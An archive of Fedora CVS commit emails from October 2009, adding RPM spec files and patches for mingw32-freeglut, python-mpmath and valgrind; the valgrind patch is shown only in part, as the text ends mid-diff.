From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 08:11:25 +0000 (UTC)
Subject: rpms/mingw32-freeglut/devel freeglut-2.6.0-disable-X.patch, NONE,
	1.1 freeglut-2.6.0-header-case.patch, NONE, 1.1 import.log, NONE,
	1.1 mingw32-freeglut.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022081125.AFA3711C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/mingw32-freeglut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7778/devel

Modified Files:
	.cvsignore sources 
Added Files:
	freeglut-2.6.0-disable-X.patch 
	freeglut-2.6.0-header-case.patch import.log 
	mingw32-freeglut.spec 
Log Message:
Initial import.


freeglut-2.6.0-disable-X.patch:
 configure.ac |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE freeglut-2.6.0-disable-X.patch ---
--- freeglut-2.6.0.orig/configure.ac	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0/configure.ac	2009-10-14 09:29:38.829541752 +0100
@@ -19,7 +19,8 @@
 AC_SUBST([LIBTOOL_DEPS])
 
 # Checks for libraries.
-AC_PATH_XTRA
+#AC_PATH_XTRA
+no_x=yes
 
 if test x"$no_x" = xyes; then
   GL_LIBS="-lopengl32 -lgdi32 -lwinmm"

freeglut-2.6.0-header-case.patch:
 include/GL/freeglut_std.h |    2 +-
 src/freeglut_internal.h   |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE freeglut-2.6.0-header-case.patch ---
diff -ur freeglut-2.6.0/include/GL/freeglut_std.h freeglut-2.6.0.headers/include/GL/freeglut_std.h
--- freeglut-2.6.0/include/GL/freeglut_std.h	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0.headers/include/GL/freeglut_std.h	2009-10-14 08:59:26.767291372 +0100
@@ -58,7 +58,7 @@
 #    define WIN32_LEAN_AND_MEAN 1
 #  endif
 #   define NOMINMAX
-#   include <Windows.h>
+#   include <windows.h>
 
 /* Windows static library */
 #   ifdef FREEGLUT_STATIC
diff -ur freeglut-2.6.0/src/freeglut_internal.h freeglut-2.6.0.headers/src/freeglut_internal.h
--- freeglut-2.6.0/src/freeglut_internal.h	2009-04-21 04:52:09.000000000 +0100
+++ freeglut-2.6.0.headers/src/freeglut_internal.h	2009-10-14 09:00:11.450404138 +0100
@@ -90,9 +90,9 @@
  * because the cross-platform includes are case sensitive.
  */
 #if TARGET_HOST_MS_WINDOWS && !defined(_WIN32_WCE)
-#    include <Windows.h>
-#    include <WindowsX.h>
-#    include <MMSystem.h>
+#    include <windows.h>
+#    include <windowsx.h>
+#    include <mmsystem.h>
 /* CYGWIN does not have tchar.h, but has TEXT(x), defined in winnt.h. */
 #    ifndef __CYGWIN__
 #      include <tchar.h>


--- NEW FILE import.log ---
mingw32-freeglut-2_6_0-0_1_rc1_fc11:HEAD:mingw32-freeglut-2.6.0-0.1.rc1.fc11.src.rpm:1256198985


--- NEW FILE mingw32-freeglut.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

Name:           mingw32-freeglut
Version:        2.6.0
Release:        0.1.rc1%{?dist}
Summary:        Fedora MinGW alternative to the OpenGL Utility Toolkit (GLUT)

License:        MIT
Group:          Development/Libraries

URL:            http://freeglut.sourceforge.net
Source0:        http://downloads.sourceforge.net/freeglut/freeglut-%{version}-rc1.tar.gz

# Patches from native Fedora package:
# (none)

# Case sensitivity of the header includes.
Patch1000:      freeglut-2.6.0-header-case.patch

# Hack to disable X / enable Windows in the configure.ac file.
Patch1001:      freeglut-2.6.0-disable-X.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

BuildRequires:  dos2unix

# Because we patch configure.ac.
BuildRequires:  autoconf, automake, libtool


%description
freeglut is a completely open source alternative to the OpenGL Utility
Toolkit (GLUT) library with an OSI approved free software
license. GLUT was originally written by Mark Kilgard to support the
sample programs in the second edition OpenGL 'RedBook'. Since then,
GLUT has been used in a wide variety of practical applications because
it is simple, universally available and highly portable.

freeglut allows the user to create and manage windows containing
OpenGL contexts on a wide range of platforms and also read the mouse,
keyboard and joystick functions.

%{_mingw32_description}


%prep
%setup -q -n freeglut-2.6.0

%patch1000 -p1
%patch1001 -p1

autoreconf
libtoolize

dos2unix -k FrequentlyAskedQuestions


%build
%{_mingw32_configure} --disable-static --enable-shared
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libglut.la


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING FrequentlyAskedQuestions NEWS README README.win32 TODO
%{_mingw32_bindir}/libglut-0.dll
%{_mingw32_libdir}/libglut.dll.a
%{_mingw32_includedir}/GL/freeglut.h
%{_mingw32_includedir}/GL/freeglut_ext.h
%{_mingw32_includedir}/GL/freeglut_std.h
%{_mingw32_includedir}/GL/glut.h


%changelog
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 2.6.0-0.1.rc1
- Initial RPM release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:35:30 -0000	1.1
+++ .cvsignore	22 Oct 2009 08:11:23 -0000	1.2
@@ -0,0 +1 @@
+freeglut-2.6.0-rc1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:35:31 -0000	1.1
+++ sources	22 Oct 2009 08:11:24 -0000	1.2
@@ -0,0 +1 @@
+b1a8107f99b5d953e8418a5409462294  freeglut-2.6.0-rc1.tar.gz



From jussilehtola at fedoraproject.org  Thu Oct 22 08:12:25 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Thu, 22 Oct 2009 08:12:25 +0000 (UTC)
Subject: rpms/python-mpmath/F-11 python-mpmath.spec, NONE, 1.1 sources, 1.1,
	1.2
Message-ID: <20091022081225.E3F0411C008C@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/python-mpmath/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8471/F-11

Modified Files:
	sources 
Added Files:
	python-mpmath.spec 
Log Message:
Imported in Fedora.


--- NEW FILE python-mpmath.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:		python-mpmath
Version:	0.13
Release:	5%{?dist}
Summary:	A pure Python library for multiprecision floating-point arithmetic
Group:		Applications/Engineering
License:	BSD
URL:		http://code.google.com/p/mpmath/
Source0:	http://mpmath.googlecode.com/files/mpmath-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

BuildRequires:	python-devel
# For building documentation
BuildRequires:	dvipng
BuildRequires:	python-sphinx
BuildRequires:	tex(latex)
# For running test
BuildRequires:	python-py


%description
Mpmath is a pure-Python library for multiprecision floating-point arithmetic.
It provides an extensive set of transcendental functions, unlimited exponent
sizes, complex numbers, interval arithmetic, numerical integration and
differentiation, root-finding, linear algebra, and much more. Almost any
calculation can be performed just as well at 10-digit or 1000-digit precision,
and in many cases mpmath implements asymptotically fast algorithms that scale
well for extremely high precision work. If available, mpmath will (optionally)
use gmpy to speed up high precision operations.

If you require plotting capabilities in mpmath, install python-matplotlib.

%package doc
Summary:	HTML documentation for %{name}
Group:		Documentation
Requires:	%{name} = %{version}-%{release}

%description doc
This package contains the HTML documentation for %{name}.


%prep
%setup -q -n mpmath-%{version}
# Convert line encodings 
for doc in LICENSE CHANGES PKG-INFO README mpmath/tests/runtests.py; do
 sed "s|\r||g" $doc > $doc.new && \
 touch -r $doc $doc.new && \
 mv $doc.new $doc
done
find doc -name *.txt -exec sed -i "s|\r||g" {} \;

# Get rid of unnecessary shebangs
for lib in mpmath/elliptic.py mpmath/tests/runtests.py; do
 sed '/#!\/usr\/bin\/env/d' $lib > $lib.new && \
 touch -r $lib $lib.new && \
 mv $lib.new $lib
done

%build
python setup.py build
# Build documentation
cd doc
python build.py 

%install
rm -rf %{buildroot}
python setup.py install -O1 --skip-build --root %{buildroot}

%check
cd build/lib/mpmath/tests/
py.test

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc CHANGES LICENSE PKG-INFO README
%{python_sitelib}/mpmath/
%{python_sitelib}/mpmath-%{version}-*.egg-info

%files doc
%defattr(-,root,root,-)
%doc doc/build/*

%changelog
* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-5
- Removed BR: python-matplotlib, since it didn't actually help in the missing
  image problem.
- Added versioned require in -doc.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-4
- Replaced R: python-matplotlib with a comment in %%description.
- Added missing BR: python-matplotlib.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-3
- Added missing BR: dvipng.
- Added %%check phase.

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-2
- Add missing BR: tex(latex).

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-1
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-mpmath/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:47:03 -0000	1.1
+++ sources	22 Oct 2009 08:12:25 -0000	1.2
@@ -0,0 +1 @@
+ed7812cc7470c0b8fbbca76a2ff02075  mpmath-0.13.tar.gz



From jussilehtola at fedoraproject.org  Thu Oct 22 08:12:26 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Thu, 22 Oct 2009 08:12:26 +0000 (UTC)
Subject: rpms/python-mpmath/F-12 python-mpmath.spec, NONE, 1.1 sources, 1.1,
	1.2
Message-ID: <20091022081226.226FD11C008C@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/python-mpmath/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8471/F-12

Modified Files:
	sources 
Added Files:
	python-mpmath.spec 
Log Message:
Imported in Fedora.


--- NEW FILE python-mpmath.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:		python-mpmath
Version:	0.13
Release:	5%{?dist}
Summary:	A pure Python library for multiprecision floating-point arithmetic
Group:		Applications/Engineering
License:	BSD
URL:		http://code.google.com/p/mpmath/
Source0:	http://mpmath.googlecode.com/files/mpmath-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

BuildRequires:	python-devel
# For building documentation
BuildRequires:	dvipng
BuildRequires:	python-sphinx
BuildRequires:	tex(latex)
# For running test
BuildRequires:	python-py


%description
Mpmath is a pure-Python library for multiprecision floating-point arithmetic.
It provides an extensive set of transcendental functions, unlimited exponent
sizes, complex numbers, interval arithmetic, numerical integration and
differentiation, root-finding, linear algebra, and much more. Almost any
calculation can be performed just as well at 10-digit or 1000-digit precision,
and in many cases mpmath implements asymptotically fast algorithms that scale
well for extremely high precision work. If available, mpmath will (optionally)
use gmpy to speed up high precision operations.

If you require plotting capabilities in mpmath, install python-matplotlib.

%package doc
Summary:	HTML documentation for %{name}
Group:		Documentation
Requires:	%{name} = %{version}-%{release}

%description doc
This package contains the HTML documentation for %{name}.


%prep
%setup -q -n mpmath-%{version}
# Convert line encodings 
for doc in LICENSE CHANGES PKG-INFO README mpmath/tests/runtests.py; do
 sed "s|\r||g" $doc > $doc.new && \
 touch -r $doc $doc.new && \
 mv $doc.new $doc
done
find doc -name *.txt -exec sed -i "s|\r||g" {} \;

# Get rid of unnecessary shebangs
for lib in mpmath/elliptic.py mpmath/tests/runtests.py; do
 sed '/#!\/usr\/bin\/env/d' $lib > $lib.new && \
 touch -r $lib $lib.new && \
 mv $lib.new $lib
done

%build
python setup.py build
# Build documentation
cd doc
python build.py 

%install
rm -rf %{buildroot}
python setup.py install -O1 --skip-build --root %{buildroot}

%check
cd build/lib/mpmath/tests/
py.test

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc CHANGES LICENSE PKG-INFO README
%{python_sitelib}/mpmath/
%{python_sitelib}/mpmath-%{version}-*.egg-info

%files doc
%defattr(-,root,root,-)
%doc doc/build/*

%changelog
* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-5
- Removed BR: python-matplotlib, since it didn't actually help in the missing
  image problem.
- Added versioned require in -doc.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-4
- Replaced R: python-matplotlib with a comment in %%description.
- Added missing BR: python-matplotlib.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-3
- Added missing BR: dvipng.
- Added %%check phase.

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-2
- Add missing BR: tex(latex).

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-1
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-mpmath/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:47:03 -0000	1.1
+++ sources	22 Oct 2009 08:12:26 -0000	1.2
@@ -0,0 +1 @@
+ed7812cc7470c0b8fbbca76a2ff02075  mpmath-0.13.tar.gz



From rjones at fedoraproject.org  Thu Oct 22 08:12:53 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 08:12:53 +0000 (UTC)
Subject: rpms/mingw32-freeglut/F-12 freeglut-2.6.0-disable-X.patch, NONE,
	1.1 freeglut-2.6.0-header-case.patch, NONE, 1.1 import.log, NONE,
	1.1 mingw32-freeglut.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022081253.8D68511C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/mingw32-freeglut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8587/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	freeglut-2.6.0-disable-X.patch 
	freeglut-2.6.0-header-case.patch import.log 
	mingw32-freeglut.spec 
Log Message:
Initial import.


freeglut-2.6.0-disable-X.patch:
 configure.ac |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE freeglut-2.6.0-disable-X.patch ---
--- freeglut-2.6.0.orig/configure.ac	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0/configure.ac	2009-10-14 09:29:38.829541752 +0100
@@ -19,7 +19,8 @@
 AC_SUBST([LIBTOOL_DEPS])
 
 # Checks for libraries.
-AC_PATH_XTRA
+#AC_PATH_XTRA
+no_x=yes
 
 if test x"$no_x" = xyes; then
   GL_LIBS="-lopengl32 -lgdi32 -lwinmm"

freeglut-2.6.0-header-case.patch:
 include/GL/freeglut_std.h |    2 +-
 src/freeglut_internal.h   |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE freeglut-2.6.0-header-case.patch ---
diff -ur freeglut-2.6.0/include/GL/freeglut_std.h freeglut-2.6.0.headers/include/GL/freeglut_std.h
--- freeglut-2.6.0/include/GL/freeglut_std.h	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0.headers/include/GL/freeglut_std.h	2009-10-14 08:59:26.767291372 +0100
@@ -58,7 +58,7 @@
 #    define WIN32_LEAN_AND_MEAN 1
 #  endif
 #   define NOMINMAX
-#   include <Windows.h>
+#   include <windows.h>
 
 /* Windows static library */
 #   ifdef FREEGLUT_STATIC
diff -ur freeglut-2.6.0/src/freeglut_internal.h freeglut-2.6.0.headers/src/freeglut_internal.h
--- freeglut-2.6.0/src/freeglut_internal.h	2009-04-21 04:52:09.000000000 +0100
+++ freeglut-2.6.0.headers/src/freeglut_internal.h	2009-10-14 09:00:11.450404138 +0100
@@ -90,9 +90,9 @@
  * because the cross-platform includes are case sensitive.
  */
 #if TARGET_HOST_MS_WINDOWS && !defined(_WIN32_WCE)
-#    include <Windows.h>
-#    include <WindowsX.h>
-#    include <MMSystem.h>
+#    include <windows.h>
+#    include <windowsx.h>
+#    include <mmsystem.h>
 /* CYGWIN does not have tchar.h, but has TEXT(x), defined in winnt.h. */
 #    ifndef __CYGWIN__
 #      include <tchar.h>


--- NEW FILE import.log ---
mingw32-freeglut-2_6_0-0_1_rc1_fc11:F-12:mingw32-freeglut-2.6.0-0.1.rc1.fc11.src.rpm:1256199129


--- NEW FILE mingw32-freeglut.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

Name:           mingw32-freeglut
Version:        2.6.0
Release:        0.1.rc1%{?dist}
Summary:        Fedora MinGW alternative to the OpenGL Utility Toolkit (GLUT)

License:        MIT
Group:          Development/Libraries

URL:            http://freeglut.sourceforge.net
Source0:        http://downloads.sourceforge.net/freeglut/freeglut-%{version}-rc1.tar.gz

# Patches from native Fedora package:
# (none)

# Case sensitivity of the header includes.
Patch1000:      freeglut-2.6.0-header-case.patch

# Hack to disable X / enable Windows in the configure.ac file.
Patch1001:      freeglut-2.6.0-disable-X.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

BuildRequires:  dos2unix

# Because we patch configure.ac.
BuildRequires:  autoconf, automake, libtool


%description
freeglut is a completely open source alternative to the OpenGL Utility
Toolkit (GLUT) library with an OSI approved free software
license. GLUT was originally written by Mark Kilgard to support the
sample programs in the second edition OpenGL 'RedBook'. Since then,
GLUT has been used in a wide variety of practical applications because
it is simple, universally available and highly portable.

freeglut allows the user to create and manage windows containing
OpenGL contexts on a wide range of platforms and also read the mouse,
keyboard and joystick functions.

%{_mingw32_description}


%prep
%setup -q -n freeglut-2.6.0

%patch1000 -p1
%patch1001 -p1

autoreconf
libtoolize

dos2unix -k FrequentlyAskedQuestions


%build
%{_mingw32_configure} --disable-static --enable-shared
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libglut.la


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING FrequentlyAskedQuestions NEWS README README.win32 TODO
%{_mingw32_bindir}/libglut-0.dll
%{_mingw32_libdir}/libglut.dll.a
%{_mingw32_includedir}/GL/freeglut.h
%{_mingw32_includedir}/GL/freeglut_ext.h
%{_mingw32_includedir}/GL/freeglut_std.h
%{_mingw32_includedir}/GL/glut.h


%changelog
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 2.6.0-0.1.rc1
- Initial RPM release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:35:30 -0000	1.1
+++ .cvsignore	22 Oct 2009 08:12:53 -0000	1.2
@@ -0,0 +1 @@
+freeglut-2.6.0-rc1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:35:31 -0000	1.1
+++ sources	22 Oct 2009 08:12:53 -0000	1.2
@@ -0,0 +1 @@
+b1a8107f99b5d953e8418a5409462294  freeglut-2.6.0-rc1.tar.gz



From rjones at fedoraproject.org  Thu Oct 22 08:14:10 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 08:14:10 +0000 (UTC)
Subject: rpms/mingw32-freeglut/EL-5 freeglut-2.6.0-disable-X.patch, NONE,
	1.1 freeglut-2.6.0-header-case.patch, NONE, 1.1 import.log, NONE,
	1.1 mingw32-freeglut.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022081410.DE22311C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/mingw32-freeglut/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9126/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	freeglut-2.6.0-disable-X.patch 
	freeglut-2.6.0-header-case.patch import.log 
	mingw32-freeglut.spec 
Log Message:
Initial import.


freeglut-2.6.0-disable-X.patch:
 configure.ac |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE freeglut-2.6.0-disable-X.patch ---
--- freeglut-2.6.0.orig/configure.ac	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0/configure.ac	2009-10-14 09:29:38.829541752 +0100
@@ -19,7 +19,8 @@
 AC_SUBST([LIBTOOL_DEPS])
 
 # Checks for libraries.
-AC_PATH_XTRA
+#AC_PATH_XTRA
+no_x=yes
 
 if test x"$no_x" = xyes; then
   GL_LIBS="-lopengl32 -lgdi32 -lwinmm"

freeglut-2.6.0-header-case.patch:
 include/GL/freeglut_std.h |    2 +-
 src/freeglut_internal.h   |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE freeglut-2.6.0-header-case.patch ---
diff -ur freeglut-2.6.0/include/GL/freeglut_std.h freeglut-2.6.0.headers/include/GL/freeglut_std.h
--- freeglut-2.6.0/include/GL/freeglut_std.h	2009-04-21 04:52:10.000000000 +0100
+++ freeglut-2.6.0.headers/include/GL/freeglut_std.h	2009-10-14 08:59:26.767291372 +0100
@@ -58,7 +58,7 @@
 #    define WIN32_LEAN_AND_MEAN 1
 #  endif
 #   define NOMINMAX
-#   include <Windows.h>
+#   include <windows.h>
 
 /* Windows static library */
 #   ifdef FREEGLUT_STATIC
diff -ur freeglut-2.6.0/src/freeglut_internal.h freeglut-2.6.0.headers/src/freeglut_internal.h
--- freeglut-2.6.0/src/freeglut_internal.h	2009-04-21 04:52:09.000000000 +0100
+++ freeglut-2.6.0.headers/src/freeglut_internal.h	2009-10-14 09:00:11.450404138 +0100
@@ -90,9 +90,9 @@
  * because the cross-platform includes are case sensitive.
  */
 #if TARGET_HOST_MS_WINDOWS && !defined(_WIN32_WCE)
-#    include <Windows.h>
-#    include <WindowsX.h>
-#    include <MMSystem.h>
+#    include <windows.h>
+#    include <windowsx.h>
+#    include <mmsystem.h>
 /* CYGWIN does not have tchar.h, but has TEXT(x), defined in winnt.h. */
 #    ifndef __CYGWIN__
 #      include <tchar.h>


--- NEW FILE import.log ---
mingw32-freeglut-2_6_0-0_1_rc1_fc11:EL-5:mingw32-freeglut-2.6.0-0.1.rc1.fc11.src.rpm:1256199228


--- NEW FILE mingw32-freeglut.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

Name:           mingw32-freeglut
Version:        2.6.0
Release:        0.1.rc1%{?dist}
Summary:        Fedora MinGW alternative to the OpenGL Utility Toolkit (GLUT)

License:        MIT
Group:          Development/Libraries

URL:            http://freeglut.sourceforge.net
Source0:        http://downloads.sourceforge.net/freeglut/freeglut-%{version}-rc1.tar.gz

# Patches from native Fedora package:
# (none)

# Case sensitivity of the header includes.
Patch1000:      freeglut-2.6.0-header-case.patch

# Hack to disable X / enable Windows in the configure.ac file.
Patch1001:      freeglut-2.6.0-disable-X.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

BuildRequires:  dos2unix

# Because we patch configure.ac.
BuildRequires:  autoconf, automake, libtool


%description
freeglut is a completely open source alternative to the OpenGL Utility
Toolkit (GLUT) library with an OSI approved free software
license. GLUT was originally written by Mark Kilgard to support the
sample programs in the second edition OpenGL 'RedBook'. Since then,
GLUT has been used in a wide variety of practical applications because
it is simple, universally available and highly portable.

freeglut allows the user to create and manage windows containing
OpenGL contexts on a wide range of platforms and also read the mouse,
keyboard and joystick functions.

%{_mingw32_description}


%prep
%setup -q -n freeglut-2.6.0

%patch1000 -p1
%patch1001 -p1

autoreconf
libtoolize

dos2unix -k FrequentlyAskedQuestions


%build
%{_mingw32_configure} --disable-static --enable-shared
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libglut.la


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING FrequentlyAskedQuestions NEWS README README.win32 TODO
%{_mingw32_bindir}/libglut-0.dll
%{_mingw32_libdir}/libglut.dll.a
%{_mingw32_includedir}/GL/freeglut.h
%{_mingw32_includedir}/GL/freeglut_ext.h
%{_mingw32_includedir}/GL/freeglut_std.h
%{_mingw32_includedir}/GL/glut.h


%changelog
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 2.6.0-0.1.rc1
- Initial RPM release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:35:30 -0000	1.1
+++ .cvsignore	22 Oct 2009 08:14:10 -0000	1.2
@@ -0,0 +1 @@
+freeglut-2.6.0-rc1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-freeglut/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:35:31 -0000	1.1
+++ sources	22 Oct 2009 08:14:10 -0000	1.2
@@ -0,0 +1 @@
+b1a8107f99b5d953e8418a5409462294  freeglut-2.6.0-rc1.tar.gz



From jakub at fedoraproject.org  Thu Oct 22 08:16:26 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu, 22 Oct 2009 08:16:26 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-amd64-loopnel.patch, NONE,
	1.1 valgrind-3.5.0-ppc-tests.patch, 1.1, 1.2 valgrind.spec, 1.70, 1.71
Message-ID: <20091022081626.7B2F811C008C@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10011

Modified Files:
	valgrind-3.5.0-ppc-tests.patch valgrind.spec 
Added Files:
	valgrind-3.5.0-amd64-loopnel.patch 
Log Message:
3.5.0-5

valgrind-3.5.0-amd64-loopnel.patch:
 VEX/priv/guest_amd64_toIR.c         |   10 ++++++----
 none/tests/amd64/Makefile.am        |    2 ++
 none/tests/amd64/Makefile.in        |   24 +++++++++++++++++-------
 none/tests/amd64/loopnel.c          |   11 +++++++++++
 none/tests/amd64/loopnel.stderr.exp |    2 ++
 none/tests/amd64/loopnel.stdout.exp |    1 +
 none/tests/amd64/loopnel.vgtest     |    1 +
 7 files changed, 40 insertions(+), 11 deletions(-)

--- NEW FILE valgrind-3.5.0-amd64-loopnel.patch ---
--- valgrind/VEX/priv/guest_amd64_toIR.c.jj	2009-10-09 12:52:07.000000000 +0200
+++ valgrind/VEX/priv/guest_amd64_toIR.c	2009-10-21 22:46:40.000000000 +0200
@@ -14011,17 +14011,19 @@ DisResult disInstr_AMD64_WRK ( 
    case 0xE1: /* LOOPE  disp8: decrement count, jump if count != 0 && ZF==1 */
    case 0xE2: /* LOOP   disp8: decrement count, jump if count != 0 */
     { /* The docs say this uses rCX as a count depending on the
-         address size override, not the operand one.  Since we don't
-         handle address size overrides, I guess that means RCX. */
+         address size override, not the operand one.  */
       IRExpr* zbit  = NULL;
       IRExpr* count = NULL;
       IRExpr* cond  = NULL;
       HChar*  xtra  = NULL;
 
-      if (have66orF2orF3(pfx) || haveASO(pfx)) goto decode_failure;
+      if (have66orF2orF3(pfx)) goto decode_failure;
       d64 = guest_RIP_bbstart+delta+1 + getSDisp8(delta);
       delta++;
-      putIReg64(R_RCX, binop(Iop_Sub64, getIReg64(R_RCX), mkU64(1)));
+      if (haveASO (pfx))
+         putIReg32(R_RCX, binop(Iop_Sub32, getIReg32(R_RCX), mkU32(1)));
+      else
+         putIReg64(R_RCX, binop(Iop_Sub64, getIReg64(R_RCX), mkU64(1)));
 
       count = getIReg64(R_RCX);
